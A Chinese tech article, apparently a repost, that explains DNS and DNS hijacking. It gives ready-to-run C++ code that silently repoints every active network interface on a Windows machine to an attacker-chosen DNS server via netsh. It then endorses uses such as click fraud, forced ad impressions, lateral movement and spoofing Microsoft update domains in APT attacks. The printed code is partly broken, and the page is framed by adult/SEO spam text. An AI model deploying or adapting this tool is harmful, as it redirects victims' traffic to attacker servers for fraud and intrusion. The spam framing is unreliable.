成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

為什么總能看到廣告彈窗?沒錯,就是DNS的問題

網絡 通信技術
每個IP地址都可以有一個主機名,主機名由一個或多個字符串組成,字符串之間用小數點隔開。有了主機名,就不要死記硬背每臺IP設備的IP地址,只要記住相對直觀有意義的主機名就行了。這就是DNS協議的功能。

什么是DNS?

每個IP地址都可以有一個主機名,主機名由一個或多個字符串組成,字符串之間用小數點隔開。有了主機名,就不要死記硬背每臺IP設備的IP地址,只要記住相對直觀有意義的主機名就行了。這就是DNS協議的功能。

主機名到IP地址的映射有兩種方式:

1)靜態映射,每臺設備上都配置主機到IP地址的映射,各設備獨立維護自己的映射表,而且只供本設備使用;

2)動態映射,建立一套域名解析系統(DNS),只在專門的DNS服務器上配置主機到IP地址的映射,網絡上需要使用主機名通信的設備,首先需要到DNS服務器查詢主機所對應的IP地址。

通過主機名,最終得到該主機名對應的IP地址的過程叫做域名解析(或主機名解析)。在解析域名時,可以首先采用靜態域名解析的方法,如果靜態域名解析不成功,再采用動態域名解析的方法。可以將一些常用的域名放入靜態域名解析表中,這樣可以大大提高域名解析效率

什么是DNS劫持?

DNS劫持又稱域名劫持,是指在劫持的網絡范圍內攔截域名解析的請求,分析請求的域名,把審查范圍以外的請求放行,否則返回假的IP地址或者什么都不做使請求失去響應,其效果就是對特定的網絡不能訪問或訪問的是假網址。

DNS(域名系統)的作用是把網絡地址(域名,以一個字符串的形式)對應到真實的計算機能夠識別的網絡地址(IP地址),以便計算機能夠進一步通信,傳遞網址和內容等。由于域名劫持往往只能在特定的被劫持的網絡范圍內進行,所以在此范圍外的域名服務器(DNS)能夠返回正常的IP地址,高級用戶可以在網絡設置把DNS指向這些正常的域名服務器以實現對網址的正常訪問。所以域名劫持通常相伴的措施——封鎖正常DNS的IP。

程序所需頭文件和命名空間: 

  1. #include <iostream> 
  2. #include <string> 
  3. #include <windows.h> 
  4. #include <stdlib.h> 
  5. #include <list> 
  6. #include <io.h> 
  7. using namespace std; 

獲取本機可用網卡: 

  1. void Get_using_interface() 
  2.       system("netsh interface show interface > interface_info.txt"); 
  3. ​ 
  4.       FILE* fp = fopen("interface_info.txt""rb"); 
  5.       const int file_size = filelength(fileno(fp)); 
  6.       char* buff = (char*)malloc(sizeof(char)*file_size); 
  7.       if (fp) { 
  8.         fread(buff, 1, file_size, fp); 
  9.         str = buff; 
  10.         free(buff); 
  11.         replaceA_to_B(str, "-------------------------------------------------------------------------\r\n"""); 
  12.         Split(str, "\r\n", interface_using); 
  13.         Spilt_space(interface_using); 
  14.       } 
  15.     } 
  16. ​ 
  17. void Spilt_space(list<string> list_str) { 
  18.       for (list<string>::iterator itor = list_str.begin(); itor != list_str.end(); itor++) { 
  19.         cout << *itor << endl; 
  20.         string::size_type first_variable = (*itor).find("已啟用"); 
  21.         string::size_type second_variable = (*itor).find("已連接"); 
  22.         string::size_type third_variable = (*itor).find("專用"); 
  23.         if (first_variable != string::npos && second_variable != string::npos && third_variable != string::npos) { 
  24.           string info = *itor; 
  25.           last_get_interface_using.push_back(info.substr(55,info.length())); 
  26.         } 
  27.       } 
  28.     } 
  29. ​ 
  30. void replaceA_to_B(std::string& S, const std::string A, const std::string B) { 
  31.       std::size_t found = S.find(A); 
  32.       while (std::string::npos != found) { 
  33.         S.replace(found, A.length(), B); 
  34.         found = S.find(A, found + 1); 
  35. ​ 
  36. void Split(const string& src, const string& separator, list<string>& dest) 
  37.       string str = src; 
  38.       string substring
  39.       string::size_type start = 0, index
  40.       dest.clear(); 
  41.       index = str.find_first_of(separator, start); 
  42.       do 
  43.       { 
  44.         if (index != string::npos) 
  45.         { 
  46.           substring = str.substr(start, index - start); 
  47.           dest.push_back(substring); 
  48.           start = index + separator.size(); 
  49.           index = str.find(separator, start); 
  50.           if (start == string::npos) break; 
  51.         } 
  52.       } while (index != string::npos); 
  53. ​ 
  54.       //the last part 
  55.       substring = str.substr(start); 
  56.       dest.push_back(substring); 
  57.     } 

構造函數實現: 

  1. DNS_Hijack(string DNS="192.168.1.233"
  2.     { 
  3.       Get_using_interface(); 
  4.       for(list<string>::iterator itor = last_get_interface_using.begin();itor!=last_get_interface_using.end();itor++) 
  5.       { 
  6.         string str = "netsh interface ip set dns \"" + (*itor) + "\" static " + DNS; 
  7.         cout << str; 
  8.         system(str.c_str()); 
  9.       } 
  10.     } 

下面我們先直接給出完整代碼方便用戶直接運行查看效果。(記得修改ip地址)​ 

  1. ​#include <iostream> 
  2. #include <string> 
  3. #include <windows.h> 
  4. #include <stdlib.h> 
  5. #include <list> 
  6. #include <io.h> 
  7. using namespace std; 
  8. ​ 
  9. class DNS_Hijack { 
  10.   private: 
  11.     list<string> interface_using;          //獲取本地可用網卡 
  12.     list<string> last_get_interface_using; 
  13.   private:   
  14.     string str;                //存儲文件讀取后的內容 
  15.     string DNS; 
  16. ​ 
  17.   private: 
  18.     void Get_using_interface() 
  19.       system("netsh interface show interface > interface_info.txt"); 
  20. ​ 
  21.       FILE* fp = fopen("interface_info.txt""rb"); 
  22.       const int file_size = filelength(fileno(fp)); 
  23.       char* buff = (char*)malloc(sizeof(char)*file_size); 
  24.       if (fp) { 
  25.         fread(buff, 1, file_size, fp); 
  26.         str = buff; 
  27.         free(buff); 
  28.         replaceA_to_B(str, "-------------------------------------------------------------------------\r\n"""); 
  29.         Split(str, "\r\n", interface_using); 
  30.         Spilt_space(interface_using); 
  31.       } 
  32.     } 
  33. ​ 
  34.   private: 
  35.     void Spilt_space(list<string> list_str) { 
  36.       for (list<string>::iterator itor = list_str.begin(); itor != list_str.end(); itor++) { 
  37.         cout << *itor << endl; 
  38.         string::size_type first_variable = (*itor).find("已啟用"); 
  39.         string::size_type second_variable = (*itor).find("已連接"); 
  40.         string::size_type third_variable = (*itor).find("專用"); 
  41.         if (first_variable != string::npos && second_variable != string::npos && third_variable != string::npos) { 
  42.           string info = *itor; 
  43.           last_get_interface_using.push_back(info.substr(55,info.length())); 
  44.         } 
  45.       } 
  46. ​ 
  47.     } 
  48. ​ 
  49.   private: 
  50.     void replaceA_to_B(std::string& S, const std::string A, const std::string B) { 
  51.       std::size_t found = S.find(A); 
  52.       while (std::string::npos != found) { 
  53.         S.replace(found, A.length(), B); 
  54.         found = S.find(A, found + 1); 
  55.       } 
  56.   } 
  57. ​ 
  58.   private: 
  59.     void Split(const string& src, const string& separator, list<string>& dest) 
  60.       string str = src; 
  61.       string substring
  62.       string::size_type start = 0, index
  63.       dest.clear(); 
  64.       index = str.find_first_of(separator, start); 
  65.       do 
  66.       { 
  67.         if (index != string::npos) 
  68.         { 
  69.           substring = str.substr(start, index - start); 
  70.           dest.push_back(substring); 
  71.           start = index + separator.size(); 
  72.           index = str.find(separator, start); 
  73.           if (start == string::npos) break; 
  74.         } 
  75.       } while (index != string::npos); 
  76. ​ 
  77.       //the last part 
  78.       substring = str.substr(start); 
  79.       dest.push_back(substring); 
  80.     } 
  81. ​ 
  82.   public
  83.     DNS_Hijack(string DNS="192.168.1.233"
  84.     { 
  85.       Get_using_interface(); 
  86.       for(list<string>::iterator itor = last_get_interface_using.begin();itor!=last_get_interface_using.end();itor++) 
  87.       { 
  88.         string str = "netsh interface ip set dns \"" + (*itor) + "\" static " + DNS; 
  89.         cout << str; 
  90.         system(str.c_str()); 
  91.       } 
  92.     } 
  93. ​ 
  94. }; 
  95. ​ 
  96. int main() 
  97.   DNS_Hijack* one = new DNS_Hijack("192.168.1.20"); 
  98.   system("pause"); 
  99.   return 0; 

現在我在虛擬機win2003,ip地址為:192.168.1.20中搭建了一臺DNS服務器,并將所有域名為www.baidu.com的請求都解析到我內網中的一臺搭建了Apache服務器上。

這個時候我對www.baidu.com的請求就會通過我內網中的DNS服務器解析成我Apache服務器的地址。

也就是說真正的百度的ip我們已經無法得到,通過nslookup也可以看出,DNS被劫持。

實驗效果: 

為什么總能看到廣告彈窗?沒錯,就是DNS的問題

部分用途:

  • 我們可以通過這種方法讓用戶訪問特定的URL從而實現惡意刷取網站PE量的效果。
  • 如果網站接入了廣告聯盟,可以通過這種方法來讓用戶直接看到網站中的廣告。
  • 營銷,推廣等。
  • 可以用于局域網橫向滲透、提權,在APT攻擊中可以有部分體現。(偽造微軟的更新服務器域名。) 

 

責任編輯:未麗燕 來源: 今日頭條
相關推薦

2014-01-23 10:07:31

移動廣告廣告商banner

2021-04-28 22:42:36

SaaS軟件技術

2024-12-13 16:37:56

SpringBootJava

2017-05-31 15:06:30

2020-09-24 06:41:33

通信IT行業

2021-02-04 10:12:50

程序員SQLIBM

2021-12-28 16:54:03

2022-06-06 18:25:21

數據泄露互聯網

2015-08-21 09:18:17

大數據技術解決問題

2014-09-17 14:54:06

2022-12-13 07:30:50

APIweb前端

2020-11-18 13:24:02

廣告彈窗網信互聯網

2022-02-10 20:26:06

虛擬元宇宙網絡

2023-08-13 19:45:12

DNS

2020-07-17 19:31:19

PythonR編程

2019-07-23 10:40:58

云計算微服務IT

2009-12-14 18:27:21

Linux操作系統

2021-08-13 22:26:40

Windows 10Windows微軟

2023-08-29 10:09:11

2017-03-29 20:43:32

線上日志磁盤
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 日韩精品一区二区三区 | 免费观看成人鲁鲁鲁鲁鲁视频 | 中文字幕久久久 | 久久久久国产 | 亚洲一区久久 | 97伦理| 午夜视频一区 | 色综合色综合色综合 | 久久99蜜桃综合影院免费观看 | 懂色中文一区二区三区在线视频 | 久久精品国产一区二区电影 | 欧美精品一区二区三区在线 | 日韩在线小视频 | 免费黄色日本 | 高清久久久 | 欧美11一13sex性hd | 国产精品美女久久久久久免费 | 国产精品久久久久久 | 国产成人免费视频网站高清观看视频 | 色在线视频网站 | 欧美激情精品久久久久 | 在线观看国产wwwa级羞羞视频 | 日本精品一区二区三区在线观看视频 | 成人av在线播放 | 亚洲精品视频免费观看 | 亚欧洲精品在线视频免费观看 | 国产中文区二幕区2012 | 成人av大全 | 美女拍拍拍网站 | 亚洲综合色网 | 日韩一级在线 | 色噜噜亚洲男人的天堂 | 中文字幕av一区 | www.久久精品视频 | 欧美日韩一区二区三区四区 | 日韩av免费在线电影 | 81精品国产乱码久久久久久 | 四虎影音| 国产欧美在线观看 | 亚洲一区二区三区在线观看免费 | 久久久久9999|